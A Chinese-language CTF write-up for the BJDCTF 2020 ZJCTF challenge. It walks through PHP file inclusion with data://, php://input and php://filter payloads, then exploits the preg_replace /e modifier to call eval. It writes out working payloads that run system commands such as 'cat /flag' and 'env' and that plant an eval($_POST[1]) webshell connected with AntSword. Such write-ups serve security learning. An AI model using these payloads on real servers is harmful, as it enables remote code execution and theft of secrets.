题目来源:[BJDCTF 2020]ZJCTF,不过如此 | NSSCTF
参考:preg_replace /e 模式 漏洞分析总结 - 猪猪侠的哥哥 - 博客园 (cnblogs.com)
深入研究 preg_replace /e 模式下的代码漏洞问题_Web安全_心月IT博客 (xinyueseo.com)
<?php error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php } else{ highlight_file(__FILE__); } ?>
打开后发现是文件包含php伪协议,提示要我们去包含next.php,这一步没什么好说的
有两种方式满足
1./?text=data://plain/text,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php 2./?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php
post传参I have a dream
解码后得到next.php内容
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
分四部分详细解释一下
1.
$id = $_GET['id'];
$_SESSION['id'] = $id;获取id再保存在session中,与本题目解法无关,可忽略
2.
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}complex函数接收参数,并正则后返回,详细解释下这个正则表达式
参数1: '/(' . $re . ')/ei'
$re
是作为参数传递给complex
函数的正则表达式。括号
()
创建一个捕获组,这意味着匹配的内容将被保存,以便在替换时使用。
e
修饰符允许将替换字符串作为PHP代码执行。
i
修饰符使正则表达式匹配不区分大小写。
strtolower
是PHP内置函数,用于将字符串转换为小写。
\\1
是反向引用,它引用第一个捕获组匹配到的文本。
反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 'n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数
complex函数相当于 eval('strtolower("\1");') 结果
3.
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
foreach($_GET as $re => $str)
:这行代码开始一个foreach
循环,遍历$_GET
数组。在这个循环中,$re
是键(参数名),$str
是对应的值。4.
function getFlag()
{ @eval($_GET['cmd']); }
用此函数来进行解题,想办法调用getFlag函数
看别人的wp总结的要点
1.在${}中可以调用函数
2.在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。所以该漏洞正则表达式第二个变量必须为双引号
3.初始payload:.*={${phpinfo()}} ,即 GET 方式传入的参数名为 .* ,值为 {${phpinfo()}}
但对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效。
所以要换为\S*=${phpinfo()}
在将phpinfo改为getFlag在传参cmd即可获得flag但是我构造时
payload写为?\S*=${getFlag()}&cmd=system("cat%20/flag");
不成功(ls /命令成功了),改为?\S*=${getFlag()}&cmd=eval($_POST[1]);链接蚁剑可行
发现flag时空的
那应该在环境变量里,再次改为\S*=${phpinfo()}找到
但测试?\S*=${getFlag()}&cmd=system(“env”);时也得不到payload不知道为啥